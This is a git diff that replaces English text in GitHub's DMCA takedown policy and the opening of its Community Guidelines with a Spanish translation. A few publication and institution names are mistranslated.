+3. **GitHub solicita a sus usuarios hacer cambios.** Si la notificación declara que todo el contenido de un repositorio o un paquete están cometiendo una violación, saltaremos al Paso 6 e inhabilitaremos todo el repositorio o paquete expeditamente. De lo contrario, debido a que GitHub no puede inhabilitar el acceso a archivos específicos dentro de un repositorio, nos contactaremos con el usuario que creó el repositorio y les daremos aproximadamente 1 día hábil para eliminar o modificar el contenido especificado en el aviso. Notificaremos al propietario de los derechos de autor si y cuando demos al usuario la oportunidad de hacer cambios. Ya que los paquetes son inmutables, si solo una parte de un paquete incurre en una violación, GitHub necesitará inhabilitar todo el paquete, pero permitiremos su restablecimiento una vez que se elimine la parte que comete la violación.
 
-4. **User Notifies GitHub of Changes.** If the user chooses to make the specified changes, they *must* tell us so within the window of approximately 1 business day. If they don't, we will disable the repository (as described in Step 6). If the user notifies us that they made changes, we will verify that the changes have been made and then notify the copyright owner.
+4. **El usuario notifica a GitHub acerca de los cambios.** Si el usuario opta por realizar los cambios especificados, *Debe* avísanos dentro de la ventana de aproximadamente 1 día hábil. Si no lo hacen, deshabilitaremos el repositorio (como se describe en el paso 6). Si el usuario nos notifica que realizó cambios, verificaremos que los cambios se hayan realizado y posteriormente notificaremos al propietario de los derechos de autor.
 
-5. **Copyright Owner Revises or Retracts the Notice.** If the user makes changes, the copyright owner must review them and renew or revise their takedown notice if the changes are insufficient. GitHub will not take any further action unless the copyright owner contacts us to either renew the original takedown notice or submit a revised one. If the copyright owner is satisfied with the changes, they may either submit a formal retraction or else do nothing. GitHub will interpret silence longer than two weeks as an implied retraction of the takedown notice.
+5. **El titular de los derechos de autor revisa o retrae la notificación.** Si el usuario realiza cambios, el propietario de los derechos de autor debe revisarlos y renovar o revisar su aviso de eliminación si los cambios son insuficientes. GitHub no tomará ninguna acción adicional a menos que el propietario de los derechos de autor se ponga en contacto con nosotros para renovar la notificación de retiro original o presentar uno revisado. Si el propietario de los derechos de autor está satisfecho con los cambios, puede presentar una retracción formal o no hacer nada. GitHub interpretará el silencio durante más de dos semanas como una retracción implícita del aviso de retiro.
 
-6. **GitHub May Disable Access to the Content.** GitHub will disable a user's content if: (i) the copyright owner has alleged copyright over the user's entire repository or package (as noted in Step 3); (ii) the user has not made any changes after being given an opportunity to do so (as noted in Step 4); or (iii) the copyright owner has renewed their takedown notice after the user had a chance to make changes. If the copyright owner chooses instead to *revise* the notice, we will go back to Step 2 and repeat the process as if the revised notice were a new notice.
+6. **GitHub puede inhabilitar el acceso al contenido.** GitHub inhabilitará el contenido de un usuario si: (i) el propietario de los derechos de autor reclama dichos derechos sobre un paquete o todo el repositorio del usuario (como se explica en el Paso 3); (ii) el usuario no ha realizado cambios después de habérsele proporcionado una oportunidad para hacerlo (de acuerdo con el Paso 4); o (iii) el propietario de los derechos de autor renovó su notificación de retiro después de que el usuario tuvo una oportunidad de realizar los cambios. Si el propietario de los derechos de autor elige *revisar* la notificación, volveremos al paso 2 y repetiremos el proceso como si la notificación revisada fuera un nuevo aviso.
 
-7. **User May Send A Counter Notice.** We encourage users who have had content disabled to consult with a lawyer about their options. If a user believes that their content was disabled as a result of a mistake or misidentification, they may send us a [counter notice](/articles/guide-to-submitting-a-dmca-counter-notice). As with the original notice, we will make sure that the counter notice is sufficiently detailed (as explained in the [how-to guide](/articles/guide-to-submitting-a-dmca-counter-notice)). If it is, we will [post it](#d-transparency) to our [public repository](https://github.com/github/dmca) and pass the notice back to the copyright owner by sending them the link.
+7. **El usuario puede enviar una contra notificación.** Alentamos a los usuarios que han deshabilitado contenido a consultar con un abogado sobre sus opciones. Si un usuario considera que su contenido fue deshabilitado como resultado de un error o identificación incorrecta, pueden enviarnos una [contra notificación](/articles/guide-to-submitting-a-dmca-counter-notice). Como en la notificación original, nos aseguraremos de que la contra notificación esté lo suficientemente detallada (como se explica en la [guía práctica](/articles/guide-to-submitting-a-dmca-counter-notice)). Si es así, [lo publicaremos](#d-transparency) en nuestro [repositorio público](https://github.com/github/dmca) y pasaremos el aviso al propietario de los derechos de autor enviándole el enlace.
 
-8. **Copyright Owner May File a Legal Action.** If a copyright owner wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain the user from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued. If the copyright owner does not give GitHub notice within 10-14 days, by sending a copy of a valid legal complaint filed in a court of competent jurisdiction, GitHub will re-enable the disabled content.
+8. **El propietario de los derechos de autor puede presentar una acción legal.** Si un propietario de derechos de autor desea mantener el contenido deshabilitado después de recibir una contra notificación, tendrán que iniciar una acción legal que busque una orden judicial para impedir que el usuario se implique en actividades relacionadas con el contenido de GitHub. En otras palabras, podrías ser demandado. Si el propietario de los derechos de autor no da aviso a GitHub en un plazo de 10-14 días, enviando una copia de una queja legal válida presentada en un tribunal de jurisdicción competente, GitHub rehabilitará el contenido inhabilitado.
 
-## B. What About Forks? (or What's a Fork?)
+## B. ¿Qué hay de las bifurcaciones? (o ¿Qué es una bifurcación?)
 
-One of the best features of GitHub is the ability for users to "fork" one another's repositories. What does that mean? In essence, it means that users can make a copy of a project on GitHub into their own repositories. As the license or the law allows, users can then make changes to that fork to either push back to the main project or just keep as their own variation of a project. Each of these copies is a "[fork](/articles/github-glossary#fork)" of the original repository, which in turn may also be called the "parent" of the fork.
+Una de las mejores características de GitHub es la capacidad de los usuarios de "bifurcar" los repositorios de otros. ¿Qué significa esto? En esencia, significa que los usuarios pueden hacer una copia de un proyecto en GitHub en sus propios repositorios. Como la licencia o la ley permite, los usuarios pueden hacer cambios en esa bifurcación para volver al proyecto principal o simplemente mantener como su propia variación de un proyecto. Cada una de estas copias es una "[bifurcación](/articles/github-glossary#fork)" del repositorio original, que a su vez también se puede llamar la "matriz" de la bifurcación.
 
-GitHub *will not* automatically disable forks when disabling a parent repository. This is because forks belong to different users, may have been altered in significant ways, and may be licensed or used in a different way that is protected by the fair-use doctrine. GitHub does not conduct any independent investigation into forks. We expect copyright owners to conduct that investigation and, if they believe that the forks are also infringing, expressly include forks in their takedown notice.
+GitHub *no deshabilitará automáticamente* las bifurcaciones cuando se deshabilite un repositorio matriz. Esto se debe a que las bifurcaciones pertenecen a diferentes usuarios, pueden haber sido alteradas de manera significativa y pueden ser licenciadas o utilizada de una manera diferente que estén protegidas por la doctrina de uso leal. GitHub no lleva a cabo ninguna investigación independiente sobre las bifucaciones. Esperamos que los propietarios de los derechos de autor lleven a cabo esa investigación y, si creen que las bifurcaciones también están infringiendo, incluyan expresamente bifurcaciones en su notificación de retiro.
 
-In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks I have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement.
+En pocas ocasiones, puede que alegues que se violaron los derechos de autor en todo un repositorio que se está bifurcando. Si en al momento de enviar tu notificación identificaste todas las bifurcaciones existentes de dicho repositorio como supuestas violaciones, procesaremos un reclamo válido contra todas las bifurcaciones en esa red al momento de procesar la notificación. Haremos esto dada la probabilidad de que todas las bifurcaciones recién creadas contengan lo mismo. Adicionalmente, si la red que se reporta como albergadora del contenido de la supuesta violación es mayor a cien (100) repositorios y, por lo tanto, es difícil de revisar integralmente, podríamos considerar inhabilitar toda la red si declaras en tu notificación que, "Con base en la cantidad representativa de bifurcaciones que revisaste, crees que todas o la mayoría de las bifurcaciones constituyen una violación en la misma medida que el repositorio padre". Tu declaración jurada aplicará a la presente.
 
-## C. What about Circumvention Claims?
+## C. ¿Qué pasa con los reclamos por circunvención?
 
-The DMCA prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. Given that these types of claims are often highly technical in nature, GitHub requires claimants to provide [detailed information about these claims](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology), and we undertake a more extensive review. 
+La DMCA prohibe la [circunvención de medidas técnicas](https://www.copyright.gov/title17/92chap12.html) que controlan efectivamente los accesos a los trabajos protegidos por derechos de autor. Ya que estos tipos de reclamo a menudo son altamente técnicos por su naturaleza, GitHub requiere que los reclamantes proporcionen la [información detallada sobre las mismas](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology) y así llevaremos a cabo una revisión más extensa.
 
-A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe:
-1. What the technical measures are;
-2. How they effectively control access to the copyrighted material; and 
-3. How the accused project is designed to circumvent their previously described technological protection measures.
+Un reclamo de evasión debe incluir los siguientes detalles sobre las medidas técnicas puestas en marcha y sobre la forma en la que el proyecto acusado las evade. Específicamente, la notificación a GitHub debe incluir las declaraciones que describan:
+1. Cuáles son las medidas técnicas;
+2. Cómo controlan el acceso al material con derechos de autor de forma efectiva; y
+3. Cómo se diseñó el proyecto actusado para evadir las medidas de protección tecnológica que se describen con anterioridad.
 
-GitHub will review circumvention claims closely, including by both technical and legal experts. In the technical review, we will seek to validate the details about the manner in which the technical protection measures operate and the way the project allegedly circumvents them. In the legal review, we will seek to ensure that the claims do not extend beyond the boundaries of the DMCA. In cases where we are unable to determine whether a claim is valid, we will err on the side of the developer, and leave the content up. If the claimant wishes to follow up with additional detail, we would start the review process again to evaluate the revised claims.
+GitHub revisará cuidadosamente los reclamos de evasión, incluyendo a manos de expertos tanto técnicos como legales. En la revisión técnica, buscaremos validar los detalles sobre la forma en la que operan las medidas de protección técnica y la forma en la que se supone que el proyecto las evade. En la revisión legal, buscaremos asegurarnos de que estos reclamos no se extiendan más allá de los límites de la DMCA. En los casos en donde no podemos determinar si algún reclamo es válido, fallaremos a favor del lado del desarrollador y dejaremos el contenido en producción. Si el reclamante desea dar sguimiento con detalles adicionales, iniciaríamos el proceso de revisión nuevamente para evaluar los reclamos revisados.
 
-Where our experts determine that a claim is complete, legal, and technically legitimate, we will contact the repository owner and give them a chance to respond to the claim or make changes to the repo to avoid a takedown. If they do not respond, we will attempt to contact the repository owner again before taking any further steps. In other words, we will not disable a repository based on a claim of circumvention technology  without attempting to contact a repository owner to give them a chance to respond or make changes first. If we are unable to resolve the issue by reaching out to the repository owner first, we will always be happy to consider a response from the repository owner even after the content has been disabled if they would like an opportunity to dispute the claim, present us with additional facts, or make changes to have the content restored. When we need to disable content, we will ensure that repository owners can export their issues and pull requests and other repository data that do not contain the alleged circumvention code to the extent legally possible.
+Siempre que nuestros expertos determinen que un reclamo es completo, legal y técnicamente legítimo, contactaremos al propietrio del repositorio y le daremos oportunidad de responder al reclamo o de hacer cambios al repositorio para evitar una eliminación. Si no responden, intentaremos contactar al propietario del repositorio antes de tomar cualquier acción subsecuente. En otras palabras, no inhabilitaremos un repositorio debido a un reclamo de tecnología de evasión sin antes intentar contactar a algún propietario del repositorio para darles una oportunidad de responder o hacer cambios. Si no pudimos resolver el problema contactando al propietario del repositorio primero, siempre estaremos en la mejor disposición de considerar una respuesta del mismo, incluso después de haber inhabilitado el contenido en caso de que haya una oportunidad de disputar el reclamo, presentarnos evidencia adicional, o hacer cambios para que se restablezca el contenido. Cuando necesitamos inhabilitar el contenido, nos aseguramos que los propietarios del repositorio puedan exportar sus propuestas y solicitudes de cambios y otros datos de sus repositorios que no contengan el código de evasión hasta donde sea legalmente posible.
 
-Please note, our review process for circumvention technology does not apply to content that would otherwise violate our Acceptable Use Policy restrictions against sharing unauthorized product licensing keys, software for generating unauthorized product licensing keys, or software for bypassing checks for product licensing keys. Although these types of claims may also violate the DMCA provisions on circumvention technology, these are typically straightforward and do not warrant additional technical and legal review. Nonetheless, where a claim is not straightforward, for example in the case of jailbreaks, the circumvention technology claim review process would apply.  
+Por favor, toma en cuenta que nuestro proceso de revisión para la tecnología de evasión no aplica al contenido que violaría de cualquier otra forma a nuestras restricciones de a la Política de Uso Aceptable contra el compartir claves de licencia de producto no autorizadas, software para generar llaves de licencia de producto no autorizado o software para eludir las verificaciones de las llaves de licencia de producto. Aunque estos tipos de reclamo también violan las provisiones de la DMCA sobre la tecnología de evasión, son habitualmente claros y no implican una revisión técnica o legal adicional. Sin embargo, en cualquier caso donde el reclamo no sea claro, por ejemplo, en el caso de liberación de dispositivos, sí aplicaría el proceso de revision de reclamo por tecnologías de evasión.
 
-When GitHub processes a DMCA takedown under our circumvention technology claim review process, we will offer the repository owner a referral to receive independent legal consultation through [GitHub’s Developer Defense Fund](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/) at no cost to them.
+Cuando GitHub procesa un derribamiento de DMCA bajo nuestro proceso de revisión de reclamos por tecnología de evasión, ofreceremos al propietario del repositorio una referencia para recibir apoyo legal independiente mediante el [Fondo de Defensa para Desarrolladores de GitHub](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/) sin costo alguno.
 
-## D. What If I Inadvertently Missed the Window to Make Changes?
+## D. ¿Qué pasa si perdí inadvertidamente el período para hacer cambios?
 
-We recognize that there are many valid reasons that you may not be able to make changes within the window of approximately 1 business day we provide before your repository gets disabled. Maybe our message got flagged as spam, maybe you were on vacation, maybe you don't check that email account regularly, or maybe you were just busy. We get it. If you respond to let us know that you would have liked to make the changes, but somehow missed the first opportunity, we will re-enable the repository one additional time for approximately 1 business day to allow you to make the changes. Again, you must notify us that you have made the changes in order to keep the repository enabled after that window of approximately 1 business day, as noted above in [Step A.4](#a-how-does-this-actually-work). Please note that we will only provide this one additional chance.
+Reconocemos que existen muchas razones válidas para que no puedas hacer cambios dentro de la ventana de aproximadamente 1 día laborable que proporcionamos antes de que tu repositorio se inhabilite. Quizá nuestro mensaje fue marcado como spam, tal vez estabas de vacaciones, tal vez no revisas esa cuenta de correo electrónico regularmente, o probablemente solo estabas ocupado. Lo entendemos. Si respondes para hacernos saber que te hubiera gustado hacer los cambios, pero de alguna manera faltaste a la primera oportunidad, rehabilitaremos el repositorio un tiempo adicional durante aproximadamente 1 día hábil para permitir que realices los cambios. Nuevamente, debes notificarnos que has realizado los cambios con el fin de mantener el repositorio habilitado después de esa ventana de aproximadamente 1 día hávil, como se mencionó anteriormente en el [Paso A. 4](#a-how-does-this-actually-work). Ten en cuenta que sólo te daremos una oportunidad adicional.
 
-## E. Transparency
+## E. Transparencia
 
-We believe that transparency is a virtue. The public should know what content is being removed from GitHub and why. An informed public can notice and surface potential issues that would otherwise go unnoticed in an opaque system. We post redacted copies of any legal notices we receive (including original notices, counter notices or retractions) at <https://github.com/github/dmca>. We will not publicly publish your personal contact information; we will remove personal information (except for usernames in URLs) before publishing notices. We will not, however, redact any other information from your notice unless you specifically ask us to. Here are some examples of a published [notice](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) and [counter notice](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md) for you to see what they look like. When we remove content, we will post a link to the related notice in its place.
+Creemos que la transparencia es una virtud. El público debería saber qué contenido se está eliminando de GitHub y por qué. Un público informado puede notar y descubrir posibles problemas superficiales que de otro modo pasarían desapercibidos en un sistema poco claro. Publicamos copias redactadas de cualquier aviso legal que recibamos (incluyendo notificaciones originales, contra notificaciones o retracciones) en <https://github.com/github/dmca>. No haremos pública tu información de contacto personal; eliminaremos la información personal (excepto los nombres de usuario en las URLs) antes de publicar notificaciones. Sin embargo, no redactaremos ninguna otra información de tu notificación a menos que nos lo solicites específicamente. Estos son algunos ejemplos de una [notificación ](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) publicada y [una contra notificación](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md) para que veas cómo son. Cuando eliminemos el contenido, publicaremos un enlace al aviso relacionado en su lugar.
 
-Please also note that, although we will not publicly publish unredacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it.
+Ten también en cuenta que, aunque no publicaremos avisos no modificados, podemos proporcionar una copia completa y no editada de cualquier notificación que recibamos directamente a cualquier parte cuyos derechos se verían afectados por ella.
 
-## F. Repeated Infringement
+## F. Retición de una infracción
 
-It is the policy of GitHub, in appropriate circumstances and in its sole discretion, to disable and terminate the accounts of users who may infringe upon the copyrights or other intellectual property rights of GitHub or others.
+Es la política de GitHub, en circunstancias apropiadas y a su entera discreción, desactivar y terminar las cuentas de los usuarios que puedan infringir los derechos de autor u otros derechos de propiedad intelectual de GitHub u otros.
 
-## G. Submitting Notices
+## G. Cómo enviar notificaciones
 
-If you are ready to submit a notice or a counter notice:
-- [How to Submit a DMCA Notice](/articles/guide-to-submitting-a-dmca-takedown-notice)
-- [How to Submit a DMCA Counter Notice](/articles/guide-to-submitting-a-dmca-counter-notice)
+Si estás listo para enviar una notificación o una contra notificación:
+- [Cómo enviar una notificación de la DMCA](/articles/guide-to-submitting-a-dmca-takedown-notice)
+- [Cómo enviar una contra notificación de la DMCA](/articles/guide-to-submitting-a-dmca-counter-notice)
 
-## Learn More and Speak Up
+## Conoce más y comunícate
 
-If you poke around the Internet, it is not too hard to find commentary and criticism about the copyright system in general and the DMCA in particular. While GitHub acknowledges and appreciates the important role that the DMCA has played in promoting innovation online, we believe that the copyright laws could probably use a patch or two—if not a whole new release. In software, we are constantly improving and updating our code. Think about how much technology has changed since 1998 when the DMCA was written. Doesn't it just make sense to update these laws that apply to software?
+Si exploras Internet, no es demasiado difícil encontrar comentarios y críticas sobre el sistema de derechos de autor en general y la DMCA en particular. Mientras que GitHub reconoce y aprecia el importante papel que ha desempeñado la DMCA en la promoción de la innovación en línea creemos que las leyes de derechos de autor probablemente podrían usar un patch o dos, o bien una versión completamente nueva. En software, estamos constantemente mejorando y actualizando nuestro código. Piensa en cuánto ha cambiado la tecnología desde 1998, cuando se redactó la DMCA. ¿No tiene sentido actualizar estas leyes que se aplican al software?
 
-We don't presume to have all the answers. But if you are curious, here are a few links to scholarly articles and blog posts we have found with opinions and proposals for reform:
+No presumimos de tener todas las respuestas. Pero si eres curioso, aquí tienes algunos enlaces a artículos informativos y entradas de blog que hemos encontrado con opiniones y propuestas para la reforma:
 
-- [Unintended Consequences: Twelve Years Under the DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Electronic Frontier Foundation)
-- [Statutory Damages in Copyright Law: A Remedy in Need of Reform](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (William & Mary Law Review)
-- [Is the Term of Protection of Copyright Too Long?](https://the1709blog.blogspot.com/2012/11/is-term-of-protection-of-copyright-too.html) (The 1709 Blog)
-- [If We're Going to Change DMCA's 'Notice & Takedown,' Let's Focus on How Widely It's Abused](https://www.techdirt.com/articles/20140314/11350426579/if-were-going-to-change-dmcas-notice-takedown-lets-focus-how-widely-its-abused.shtml) (TechDirt)
-- [Opportunities for Copyright Reform](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato Unbound)
-- [Fair Use Doctrine and the Digital Millennium Copyright Act: Does Fair Use Exist on the Internet Under the DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Santa Clara Law Review)
+- [Consecuencias no deseadas: Doce años bajo la DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Constitución de la Frontera Electrónica)
+- [Daños y Perjuicios Reglamentarios en la Ley de Derechos de Autor: Un recordatorio en la necesidad de la reforma](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (William & Revisión de la ley María)
+- [¿El plazo de protección de los derechos de autor es demasiado largo?](https://the1709blog.blogspot.com/2012/11/is-term-of-protection-of-copyright-too.html) (el 1709 blog)
+- [Si vamos a cambiar 'Notificación y Retiro', de la DMCA, centrémonos en su amplio abuso](https://www.techdirt.com/articles/20140314/11350426579/if-were-going-to-change-dmcas-notice-takedown-lets-focus-how-widely-its-abused.shtml) (TechDirt)
+- [Oportunidades para la reforma de los derechos de autor](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato sin asociar)
+- [Uso Justo de la Doctrina y la Ley de Derechos de Autor del Milenio Digital: ¿Existe un uso justo en Internet bajo la DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Revisión de la Ley de Santa Clara)
 
-GitHub doesn't necessarily endorse any of the viewpoints in those articles. We provide the links to encourage you to learn more, form your own opinions, and then reach out to your elected representative(s) (e.g, in the [U.S. Congress](https://www.govtrack.us/congress/members) or [E.U. Parliament](https://www.europarl.europa.eu/meps/en/home)) to seek whatever changes you think should be made.
+GitHub no necesariamente respalda ninguno de los puntos de vista en esos artículos. Proporcionamos los enlaces para invitarte a conocer más, formar tus propias opiniones y, posteriormente, contactar a tu(s) representante(s) electo(s) (por ejemplo, en el [Congreso de los Estados Unidos ](https://www.govtrack.us/congress/members) o en el [Parlamento de los EE. UU. ](https://www.europarl.europa.eu/meps/en/home)) para buscar los cambios que consideras que deberían llevarse a cabo.
diff --git a/translations/es-ES/content/github/site-policy/github-community-guidelines.md b/translations/es-ES/content/github/site-policy/github-community-guidelines.md
index 7011d661da..ca8f4e0b39 100644
--- a/translations/es-ES/content/github/site-policy/github-community-guidelines.md
+++ b/translations/es-ES/content/github/site-policy/github-community-guidelines.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Community Guidelines
+title: Pautas de la comunidad GitHub
 redirect_from:
   - /community-guidelines
   - /articles/github-community-guidelines
@@ -10,110 +10,99 @@ topics:
   - Legal
 ---
 
-Millions of developers host millions of projects on GitHub — both open and closed source — and we're honored to play a part in enabling collaboration across the community every day. Together, we all have an exciting opportunity and responsibility to make this a community we can be proud of.
+Millones de desarrolladores albergan millones de proyectos en GitHub — tanto de código abierto como de código cerrado — y tenemos el honor de participar en la colaboración de toda la comunidad todos los días. Juntos tenemos una emocionante oportunidad y responsabilidad de hacer de esta una comunidad de la que podemos estar orgullosos.
 
-GitHub users worldwide bring wildly different perspectives, ideas, and experiences, and range from people who created their first "Hello World" project last week to the most well-known software developers in the world. We are committed to making GitHub a welcoming environment for all the different voices and perspectives in our community, while maintaining a space where people are free to express themselves.
+Los usuarios de GitHub en todo el mundo ofrecen perspectivas, ideas y experiencias diferentes y van desde personas que crearon su primer proyecto "Hola Mundo" la semana pasada hasta los desarrolladores de software más conocidos del mundo. Estamos comprometidos a hacer de GitHub un ambiente acogedor para todas las diferentes voces y perspectivas de nuestra comunidad, manteniendo un espacio donde la gente sea libre de expresarse.
 
-We rely on our community members to communicate expectations, [moderate](#what-if-something-or-someone-offends-you) their projects, and {% data variables.contact.report_abuse %} or {% data variables.contact.report_content %}. By outlining what we expect to see within our community, we hope to help you understand how best to collaborate on GitHub, and what type of actions or content may violate our [Terms of Service](#legal-notices), which include our [Acceptable Use Policies](/github/site-policy/github-acceptable-use-policies). We will investigate any abuse reports and may moderate public content on our site that we determine to be in violation of our Terms of Service.
+Dependemos de nuestros miembros de la comunidad para que comuniquen las expectativas, [moderen](#what-if-something-or-someone-offends-you) sus proyectos, y {% data variables.contact.report_abuse %} o {% data variables.contact.report_content %}. Al esbozar lo que esperamos ver dentro de nuestra comunidad, esperamos ayudarte a entender cómo colaborar de mejor forma en GitHub y qué tipo de acciones o contenido pueden violar nuestros [Términos de servicio](#legal-notices), que incluyen nuestras [Políticas de uso aceptables](/github/site-policy/github-acceptable-use-policies). Investigaremos cualquier reporte de abuso y podremos moderar el contenido público en nuestro sitio que determinemos que infringe nuestros Términos de Servicio.
 
-## Building a strong community
+## Construir una comunidad sólida
 
-The primary purpose of the GitHub community is to collaborate on software projects.
-We want people to work better together. Although we maintain the site, this is a community we build *together*, and we need your help to make it the best it can be.
+El propósito principal de la comunidad de GitHub es colaborar en proyectos de software. Deseamos que la gente trabaje mejor juntos. Aunque mantenemos el sitio, esta es una comunidad que construimos *juntos* y necesitamos tu ayuda para que sea lo mejor.
 
-* **Be welcoming and open-minded** - Other collaborators may not have the same experience level or background as you, but that doesn't mean they don't have good ideas to contribute. We encourage you to be welcoming to new collaborators and those just getting started.
+* **Se cordial y de mentalidad abierta** - Otros colaboradores pueden no tener el mismo nivel de experiencia o antecedentes que tú, pero eso no significa que no tengan buenas ideas para aportar. Te invitamos a dar la bienvenida a los nuevos miembros y a los que están empezando a trabajar.
 
-* **Respect each other.**  Nothing sabotages healthy conversation like rudeness. Be civil and professional, and don’t post anything that a reasonable person would consider offensive, abusive, or hate speech. Don’t harass or grief anyone. Treat each other with dignity and consideration in all interactions.
+* **Respeto unos a otros.** Nada sabotea una conversación saludable como la rudeza. Se cortés y profesional y no publiques nada que una persona razonable consideraría ofensivo, abusivo o un discurso de odio. No acoses ni molestes a nadie. Trato mutuo con dignidad y consideración en todas las interacciones.
 
-  You may wish to respond to something by disagreeing with it. That’s fine. But remember to criticize ideas, not people. Avoid name-calling, ad hominem attacks, responding to a post’s tone instead of its actual content, and knee-jerk contradiction. Instead, provide reasoned counter-arguments that improve the conversation.
+  Es probable que desees responder a algo discrepándolo. Está bien. Pero recuerda criticar las ideas, no a las personas. Evita ataques usando el nombre, ad hominem, respondiendo al tono de un post en lugar de su contenido real y contradicción reactiva. En lugar de ello, proporciona contra-argumentos razonados que mejoran la conversación.
 
-* **Communicate with empathy** - Disagreements or differences of opinion are a fact of life. Being part of a community means interacting with people from a variety of backgrounds and perspectives, many of which may not be your own. If you disagree with someone, try to understand and share their feelings before you address them. This will promote a respectful and friendly atmosphere where people feel comfortable asking questions, participating in discussions, and making contributions.
+* **Comunícate con empatía.** Los desacuerdos o diferencias de opinión son un hecho de la vida. Formar parte de una comunidad significa interactuar con personas de diferentes orígenes y perspectivas, muchas de las cuales pueden no ser propias. Si no estás de acuerdo con alguien, trata de entender y compartir sus sentimientos antes de abordarlos. Esto promoverá un ambiente respetuoso y amistoso donde la gente se sienta cómoda haciendo preguntas, participando en discusiones y haciendo contribuciones.
 
-* **Be clear and stay on topic** - People use GitHub to get work done and to be more productive. Off-topic comments are a distraction (sometimes welcome, but usually not) from getting work done and being productive. Staying on topic helps produce positive and productive discussions.
+* **Se claro y permanece en el tema** -Las personas usan GitHub para hacer el trabajo y ser más productivos. Los comentarios fuera del tema son una distracción (en ocasiones bien recibido, pero generalmente no) sobre realizar el trabajo y ser productivo. Mantener el tema ayuda a producir discusiones positivas y productivas.
 
-   Additionally, communicating with strangers on the Internet can be awkward. It's hard to convey or read tone, and sarcasm is frequently misunderstood. Try to use clear language, and think about how it will be received by the other person.
+   Además, comunicarse con extraños en Internet puede ser incómodo. Es difícil transmitir o leer el tono y el sarcasmo es frecuentemente mal entendido. Intenta usar un lenguaje claro y piensa cómo será recibido por la otra persona.
 
-## What if something or someone offends you?
+## ¿Qué pasa si algo o alguien te ofende?
 
-We rely on the community to let us know when an issue needs to be addressed. We do not actively monitor the site for offensive content. If you run into something or someone on the site that you find objectionable, here are some tools GitHub provides to help you take action immediately:
+Confiamos en que la comunidad nos comunique cuándo sea necesario abordar una cuestión. No monitoreamos activamente el sitio por contenido ofensivo. Si encuentras algo o alguien en el sitio que sea censurable, aquí hay algunas herramientas que proporciona GitHub para ayudarte a tomar acción inmediatamente:
 
-* **Communicate expectations** - If you participate in a community that has not set their own, community-specific guidelines, encourage them to do so either in the README or [CONTRIBUTING file](/articles/setting-guidelines-for-repository-contributors/), or in [a dedicated code of conduct](/articles/adding-a-code-of-conduct-to-your-project/), by submitting a pull request.
+* **Comunica las expectativas** - Si participas en una comunidad que no haya establecido sus propias pautas específicas de la comunidad, invítalos a realizarlo en el archivo README o [CONTRIBUTING](/articles/setting-guidelines-for-repository-contributors/), o en [un código de conducta dedicado](/articles/adding-a-code-of-conduct-to-your-project/), enviando una solicitud de extracción.
 
-* **Moderate Comments** - If you have [write-access privileges](/articles/repository-permission-levels-for-an-organization/) for a repository, you can edit, delete, or hide anyone's comments on commits, pull requests, and issues. Anyone with read access to a repository can view a comment's edit history. Comment authors and people with write access to a repository can delete sensitive information from a comment's edit history. For more information, see "[Tracking changes in a comment](/articles/tracking-changes-in-a-comment)" and "[Managing disruptive comments](/articles/managing-disruptive-comments)."
+* **Modera comentarios** - Si tienes [privilegios de acceso de escritura](/articles/repository-permission-levels-for-an-organization/) para un repositorio, puedes editar, eliminar u ocultar los comentarios de cualquier persona sobre confirmaciones, solicitudes de extracción y propuestas. Cualquier persona con acceso de lectura a un repositorio puede ver el historial de edición del comentario. Los autores del comentario y las personas con acceso de escritura a un repositorio pueden eliminar información confidencial del historial de edición de un comentario. Para obtener más información, consulta "[Seguimiento de cambios en un comentario](/articles/tracking-changes-in-a-comment)" y "[Gestión de comentarios perturbadores](/articles/managing-disruptive-comments)."
 
-* **Lock Conversations**  - If a discussion in an issue or pull request gets out of control, you can [lock the conversation](/articles/locking-conversations/).
+* **Bloquea Conversaciones**- Si una discusión en una propuesta o solicitud de extracción sale de control, puedes [bloquear la conversación](/articles/locking-conversations/).
 
-* **Block Users**  - If you encounter a user who continues to demonstrate poor behavior, you can [block the user from your personal account](/articles/blocking-a-user-from-your-personal-account/) or [block the user from your organization](/articles/blocking-a-user-from-your-organization/).
+* **Bloquea usuarios** - Si encuentras a un usuario que continúa presentando un mal comportamiento, puedes [bloquear al usuario desde su cuenta personal](/articles/blocking-a-user-from-your-personal-account/) o [bloquear al usuario desde su organización](/articles/blocking-a-user-from-your-organization/).
 
-Of course, you can always contact us to {% data variables.contact.report_abuse %} if you need more help dealing with a situation.
+Claro que siempre podrás contactarnos en {% data variables.contact.report_abuse %} si necesitas más ayuda con alguna situación.
 
-## What is not allowed?
+## ¿Qué no está permitido?
 
